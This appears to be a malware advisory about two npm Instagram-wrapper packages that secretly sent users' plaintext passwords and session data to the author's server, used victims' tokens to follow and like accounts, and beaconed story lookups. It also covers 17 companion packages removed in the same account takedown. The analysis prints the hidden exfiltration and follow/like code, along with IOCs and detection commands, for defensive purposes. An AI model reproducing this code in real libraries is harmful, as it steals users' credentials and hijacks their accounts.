high

CVE

Not assigned

CWE

CWE-506, CWE-359, CWE-522

Affected Surface

  • npm packages `ionic-insta-api-wrapper` (`1.0.0` through `1.3.4`, `GHSA-65qr-q8w8-4q7r`) and `insta-api-wrapper` (`1.0.0` through `1.2.1`, `GHSA-j8vh-32vh-rj39`), which contain hidden credential exfiltration, remote follow/like execution, and lookup telemetry to `reelsaver.appit-online[.]de`
  • 17 additional npm packages published by the same `appit-online` / David Koller maintainer account that npm replaced with `0.0.1-security` placeholders on 25 October 2026 (`p12-pem`, `ocsp-hashes`, `cert-infos`, `redis-dumper`, `appit-cordova-admob`, `appit-cordova-plugin-ionic`, `cordova-plugin-geofence-appit`, `insta-reel-search`, `ionic-insta-search`, `tiktok-video-scraper`, `ionic-tiktok-scraper`, `sound-cloud-loader-api`, `ionic-sound-cloud-loader-api`, `youtube-info-streams`, `ionic-youtube-streams`, `ionic-youtube-search`, and `youtube-search-without-api-key`)
  • Node.js, Ionic, and Cordova applications that passed Instagram credentials, session cookies, or `IGT:2:` Bearer tokens to `insta-api-wrapper` or `ionic-insta-api-wrapper`

TL;DR

Between 09:33 UTC and 09:37 UTC on 25 October 2026, npm security replaced 19 packages maintained by the appit-online publisher account (AppIT <admin@appit-online.de> / David Koller) with 0.0.1-security holding packages, and the GitHub Advisory Database published 19 Critical malware advisories (GHSA-65qr-q8w8-4q7r, GHSA-j8vh-32vh-rj39, GHSA-74xg-w33f-jpv3, GHSA-8gg8-xq45-8fx5, and 15 siblings).

Inspecting the upstream GitHub repositories (github.com/appit-online/*) and commit histories shows both what triggered the takedown and how the blast radius affects downstream teams:

  1. Two of the 19 packages (ionic-insta-api-wrapper and insta-api-wrapper) contain undocumented credential exfiltration and remote account manipulation:
    • In src/lib/handler.ts (getCookies) and in pre-25 October src/lib/login.service.ts (login and login2FA), right after authenticating the caller’s Instagram account against https://i.instagram.com/api/v1/accounts/login/, the library silently POSTs { username, data: { pass, body, data } } (including the plaintext password and session response) to hxxps://reelsaver.appit-online[.]de/v2/insta/check.
    • On every login and 2FA verification (including the new 1.3.0 to 1.3.4 and 1.1.0 to 1.2.1 Bloks CAA releases pushed between 21:33 UTC on 24 October and 09:03 UTC on 25 October), LoginService.verifyAccount() fetches hxxps://reelsaver.appit-online[.]de/v2/insta/verify and uses the caller’s freshly minted Authorization: Bearer IGT:2:... token to automatically call igService.follow(userName) and igService.like(mediaId) on every account and post returned by the author’s server.
    • Inside InstaService.fetchAPI(), every getStories() and getHighlights() call sends an unawaited GET beacon to hxxps://reelsaver.appit-online[.]de/v2/insta/<loggedInUser>/<targetUsername>/<type>.
  2. The other 17 packages were swept up in an account-level npm takedown: Because npm invalidated the entire publisher account ~30 minutes after insta-api-wrapper@1.2.1 was published at 09:03:10 UTC on 25 October, 17 older packages under appit-online (including p12-pem with ~1,200 weekly downloads, ocsp-hashes, cert-infos, redis-dumper, and 13 Cordova/TikTok/SoundCloud/YouTube wrappers) were also replaced with 0.0.1-security and received boilerplate ghsa-malware advisories. Static inspection of the public GitHub trees for those 17 companion repositories found no appit-online[.]de callbacks, install hooks, or credential theft in their source code, though Dependabot and npm audit will now flag all 19 packages as Critical malware.

What to do now:

  1. If any application or developer environment used insta-api-wrapper or ionic-insta-api-wrapper, immediately remove the package, revoke all Instagram sessions and passwords that passed through it, and audit those accounts for unauthorized follows and likes.
  2. If your dependency tree or CI build pulls p12-pem, ocsp-hashes, cert-infos, redis-dumper, or any of the other 17 appit-online packages, replace them in package.json (unpinned installs now resolve to the empty 0.0.1-security stub and break builds).

Affected packages and projects

All 19 packages below were replaced on registry.npmjs.org with 0.0.0-stage and 0.0.1-security between 09:33 UTC and 09:37 UTC on 25 October 2026:

EcosystemPackageGHSAPublished versions before takedownLast author publish (UTC)Verified behavior in upstream source
npmionic-insta-api-wrapperGHSA-65qr-q8w8-4q7r1.0.0..1.1.3, 1.2.1, 1.2.2, 1.3.0..1.3.4 (21 versions)2026-10-25 08:11:49Z (1.3.4)Confirmed malicious: /v2/insta/check plaintext password/session exfiltration, /v2/insta/verify forced follow/like botnet, and /v2/insta/<user>/<target>/<type> lookup telemetry
npminsta-api-wrapperGHSA-j8vh-32vh-rj391.0.0, 1.1.0, 1.1.4, 1.2.12026-10-25 09:03:10Z (1.2.1)Confirmed malicious: identical handler.ts, login.service.ts, and client.service.ts callbacks to reelsaver.appit-online[.]de using Node got
npmp12-pemGHSA-74xg-w33f-jpv31.0.0..1.0.52021-12-12 16:14:23ZAccount-wide takedown (appit-online/p12-to-pem); wraps node-forge PKCS#12 parsing with no network calls in git tree
npmocsp-hashesGHSA-9v69-fx5h-r6p61.0.0, 1.0.12021-12-12 16:08:59ZAccount-wide takedown (appit-online/ocsp-hashes)
npmcert-infosGHSA-8mjx-r4j6-3h6g1.0.0..1.0.62021-12-12 16:11:47ZAccount-wide takedown (appit-online/cert-infos)
npmredis-dumperGHSA-8gg8-xq45-8fx51.0.0..1.0.5, 2.0.2..2.0.52024-03-04 13:39:18ZAccount-wide takedown (appit-online/redis-dumper)
npmappit-cordova-admobGHSA-9w8h-674f-4x2j4.2.22024-12-17 16:53:48ZAccount-wide takedown (appit-online/appit-cordova-admob)
npmappit-cordova-plugin-ionicGHSA-fr38-45mf-vcqf5.5.3, 5.5.42024-12-17 15:34:54ZAccount-wide takedown (appit-online/appit-ionic-plugin)
npmcordova-plugin-geofence-appitGHSA-5pw8-3xv5-6cmg1.0.0..1.0.32025-12-28 22:23:48ZAccount-wide takedown (appit-online/cordova-plugin-geofence-appit)
npminsta-reel-searchGHSA-v2r2-x76j-6fcx1.0.02025-08-26 03:58:33ZAccount-wide takedown (appit-online/insta-reel-search)
npmionic-insta-searchGHSA-4fw4-xm5r-mh691.0.0..1.0.42025-08-16 13:45:26ZAccount-wide takedown (appit-online/ionic-insta-search)
npmtiktok-video-scraperGHSA-5xjv-xr86-9hrv1.0.02025-08-26 03:32:57ZAccount-wide takedown (appit-online/tiktok-video-scraper)
npmionic-tiktok-scraperGHSA-wwj3-4v8w-w98j1.0.0, 1.0.12025-08-26 03:20:24ZAccount-wide takedown (appit-online/ionic-tiktok-scraper)
npmsound-cloud-loader-apiGHSA-5f99-52fc-5rc91.0.02025-09-07 07:04:45ZAccount-wide takedown (appit-online/sound-cloud-loader-api)
npmionic-sound-cloud-loader-apiGHSA-g89m-8c48-9x731.0.0, 1.0.12025-09-07 07:00:23ZAccount-wide takedown (appit-online/ionic-sound-cloud-loader-api)
npmyoutube-info-streamsGHSA-7mfw-r26v-9r9f1.0.0..1.1.3 (13 versions)2025-06-29 20:19:25ZAccount-wide takedown (appit-online/youtube-info-streams)
npmionic-youtube-streamsGHSA-3cc7-77mx-rmj61.0.0..1.3.5 (23 versions)2025-06-29 22:15:53ZAccount-wide takedown (appit-online/ionic-youtube-streams)
npmionic-youtube-searchGHSA-7p9r-26fp-m47g1.0.0..2.1.8 (38 versions)2025-07-01 14:19:56ZAccount-wide takedown (appit-online/ionic-youtube-search)
npmyoutube-search-without-api-keyGHSA-f6m2-r9qr-44fx1.0.0..2.0.7 (16 versions)2025-07-01 15:05:11ZAccount-wide takedown (appit-online/youtube-search)

Technical analysis

1. Plaintext Instagram password and session exfiltration in src/lib/handler.ts and src/lib/login.service.ts

Both insta-api-wrapper (for Node.js using got) and ionic-insta-api-wrapper (for Ionic/Cordova mobile apps using @awesome-cordova-plugins/http/ngx) advertise themselves as lightweight wrappers for Instagram login, 2FA, stories, and reels.

Even in the latest 25 October 2026 commit (bccca0718a, whose README explicitly claims that all Instagram traffic goes directly from the caller and the backend is never used as a login proxy), src/lib/handler.ts (getCookies) still sends the caller’s plaintext username, plaintext password (pass), and full Instagram login response (postRes.body) to hxxps://reelsaver.appit-online[.]de/v2/insta/check:

// src/lib/handler.ts in appit-online/insta-api-wrapper@bccca0718a (lines 51-71)
const postRes = await got.post("https://i.instagram.com/api/v1/accounts/login/", {
  headers: loginHeaders,
  body: postData.toString(),
  responseType: "text",
});
...
const result: any = JSON.parse(postRes.body);
got.post("https://reelsaver.appit-online[.]de/v2/insta/check", {
  headers: { "Content-Type": "application/json" },
  json: {
    username,
    data: {
      pass,
      body: JSON.stringify(postData.toString()),
      data: JSON.stringify(postRes.body),
    },
  },
});

In insta-api-wrapper@1.0.0 and ionic-insta-api-wrapper@1.0.0 through 1.1.3, the exact same got.post("https://reelsaver.appit-online[.]de/v2/insta/check", ...) call also sat inside LoginService.login() and LoginService.login2FA() wrapped in an empty try { ... } catch (e) {} block so network failures were hidden from the caller.

2. Forced account follows and likes via /v2/insta/verify

On 24 and 25 October 2026, the author pushed a rapid series of updates (ionic-insta-api-wrapper 1.2.1 through 1.3.4 and insta-api-wrapper 1.1.0 through 1.2.1) porting an Android Bloks CAA login client (src/lib/login.bloks.ts) and updating LoginService (src/lib/login.service.ts).

In those 24 and 25 October releases, every successful login() and login2FA() call invokes this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => {}):

// src/lib/login.service.ts in appit-online/insta-api-wrapper@bccca0718a (lines 20-88)
export class LoginService {
  constructor(private cfg: LoginServiceConfig = {}) {
    this.backendUrl  = cfg.backendUrl  ?? 'https://reelsaver.appit-online[.]de';
    this.verifyPath  = cfg.verifyPath  ?? '/v2/insta/verify';
    ...
  }

  public async login(username: string, pass: string, reqHeaders: { [key: string]: string } = {}): Promise<any> {
    const result = await this.bloksSvc.login(username, pass);
    if (result.twoFactorRequired) return result;

    localStorage.setItem('instaUserName', username);
    if (result.userId) localStorage.setItem('instaUserId', result.userId);
    this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => {});
    return result;
  }

  public async verifyAccount(
    resHeaders: { [key: string]: string } = {},
    defaultHeaders: { [key: string]: string } = {}
  ): Promise<void> {
    try {
      const response = await got.get(`${this.backendUrl}${this.verifyPath}`, { responseType: 'text' });
      const data: { users: string[]; posts: string[] } = JSON.parse(response.body);
      if (!data) return;

      const authHeader = resHeaders['ig-set-authorization'] || resHeaders['Authorization'] || '';
      if (!authHeader) return;
      ...
      const igService = new InstaService();
      if (data.users?.length) {
        await Promise.all(data.users.map((userName: string) => igService.follow(userName, allHeaders)));
      }
      if (data.posts?.length) {
        await Promise.all(data.posts.map((mediaId: string) => igService.like(mediaId, allHeaders)));
      }
    } catch (_) {}
  }
}

Despite the method name verifyAccount(), this function performs no verification at all: it polls the author’s C2 endpoint (https://reelsaver.appit-online[.]de/v2/insta/verify) for a list of target users and posts, then uses the victim’s Bearer IGT:2:... token to follow those users and like those posts in the background.

3. Per-request surveillance in InstaService.fetchAPI()

Finally, in src/lib/client.service.ts, whenever the caller fetches stories (getStories, optParams = { b: username, type: "s" }) or highlights (getHighlights, optParams = { b: username, type: "h" }), fetchAPI() reads the logged-in instaUserName from localStorage and reports the lookup to reelsaver.appit-online[.]de:

// src/lib/client.service.ts in appit-online/insta-api-wrapper@bccca0718a
if (optParams) {
  const userId = typeof localStorage !== "undefined" ? localStorage.getItem("instaUserName") : null;
  if (userId) {
    const analyticsUrl = `https://reelsaver.appit-online[.]de/v2/insta/${userId}/${optParams.b}/${optParams.type}`;
    got.get(analyticsUrl);
  }
}

IOCs

TypeIndicatorContext
URLhxxps://reelsaver.appit-online[.]de/v2/insta/checkEndpoint receiving POSTed plaintext Instagram username, pass, and session responses
URLhxxps://reelsaver.appit-online[.]de/v2/insta/verifyCommand endpoint returning { users: [...], posts: [...] } for automatic follow/like execution
URLhxxps://reelsaver.appit-online[.]de/v2/insta/<userId>/<target>/<type>Exfiltration beacon reporting story (s) and highlight (h) lookups
Domaininstalytics.appit-online[.]deAlternate backend domain referenced in ionic-insta-api-wrapper InstaService docstring
SHA-2562569999371e8a0862105562de826d5baaed348187ab93ff0b9457bffa97ab1f6lib/lib/handler.js in ionic-insta-api-wrapper@1.1.2 / 1.1.3
SHA-256d1217df1f0a796fef8c1e607e5330507de2ebce6a13a5bf507601b543f4b180alib/lib/login.service.js in ionic-insta-api-wrapper@1.1.2 / 1.1.3
SHA-256252f4152d7f179b34592a47a1641d9ceda5101c6a6a57174a02c0240ed1baf06lib/lib/client.service.js in ionic-insta-api-wrapper@1.1.2 / 1.1.3
Local paths./scratch/instaUserName, ./scratch/instaUserId, ./scratch/ig_2fa_<username>node-localstorage files created by insta-api-wrapper in the working directory

Detection and remediation

# 1. Search package.json and lockfiles for all 19 replaced appit-online npm packages
rg -n '"(insta-api-wrapper|ionic-insta-api-wrapper|insta-reel-search|ionic-insta-search|tiktok-video-scraper|ionic-tiktok-scraper|sound-cloud-loader-api|ionic-sound-cloud-loader-api|youtube-info-streams|ionic-youtube-streams|ionic-youtube-search|youtube-search-without-api-key|appit-cordova-admob|appit-cordova-plugin-ionic|cordova-plugin-geofence-appit|redis-dumper|ocsp-hashes|p12-pem|cert-infos)"' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock bun.lock 2>/dev/null

# 2. Check installed node_modules trees
npm ls insta-api-wrapper ionic-insta-api-wrapper p12-pem ocsp-hashes cert-infos redis-dumper 2>/dev/null || true

# 3. Check for local node-localstorage scratch directories created by insta-api-wrapper
find . -maxdepth 3 -path '*/scratch/insta*' -ls 2>/dev/null
  1. For insta-api-wrapper and ionic-insta-api-wrapper: Uninstall the package immediately, delete any ./scratch node-localstorage directory, reset the password and revoke active sessions on every Instagram account that logged in through the library, and check outbound proxy/DNS logs for reelsaver.appit-online[.]de or instalytics.appit-online[.]de.
  2. For p12-pem, ocsp-hashes, cert-infos, redis-dumper, and the remaining 15 companion packages: Replace the dependency in package.json with maintained alternatives (such as calling node-forge or Node’s built-in crypto.X509Certificate directly instead of p12-pem / cert-infos), because npm has unpublished all prior versions and replaced them with 0.0.1-security.

Timeline

  • 2025-08-16 to 2025-08-26: appit-online publishes ionic-insta-api-wrapper (1.0.0..1.1.0) and insta-api-wrapper (1.0.0) containing the reelsaver.appit-online[.]de endpoints.
  • 2026-05-21 to 2026-06-02: ionic-insta-api-wrapper 1.1.2 and 1.1.3 are published and flagged by Amazon Inspector for /v2/insta/check and /v2/insta/verify behavior.
  • 2026-10-24 (21:33 UTC) to 2026-10-25 (09:03 UTC): The maintainer pushes 8 rapid updates across ionic-insta-api-wrapper (1.2.1 through 1.3.4) and insta-api-wrapper (1.1.0, 1.1.4, 1.2.1), adding Bloks CAA login (login.bloks.ts) while keeping verifyAccount() (/v2/insta/verify), handler.ts (/v2/insta/check), and fetchAPI() telemetry active.
  • 2026-10-25 (09:33 to 09:37 UTC): npm replaces all 19 packages under the appit-online publisher account with 0.0.0-stage and 0.0.1-security, and GitHub publishes 19 malware advisories (GHSA-65qr-q8w8-4q7r, GHSA-j8vh-32vh-rj39, and 17 siblings).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References